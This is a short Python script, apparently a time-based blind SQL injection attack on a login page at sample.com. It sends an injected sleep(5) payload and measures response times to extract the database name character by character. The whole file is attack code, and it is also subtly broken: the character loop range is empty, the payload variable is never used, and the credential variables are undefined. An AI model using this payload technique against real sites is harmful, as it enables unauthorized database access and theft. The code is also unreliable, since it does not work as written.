blind_script.py

#!/usr/bin/env

import requests
import sys
import time

url = "https://sample.com/web/login"

for i in range(1, 11):
        for c in range(0x20, 0xf):

                en = "xyz'or if(mid(database(), %d,1 ) = '%s', sleep(5), 0)-- "%(i, chr(c))

                form = {'email': email, 'password': password, 'submit': 'login'}

                start = time.time()
                response = requests.post(url, data=form)
                end = time.time()

                delay = end - start

                if delay >= 5.0:
                    sys.stdout.write(chr(c))
                    sys.stdout.flush()
                    break
print ''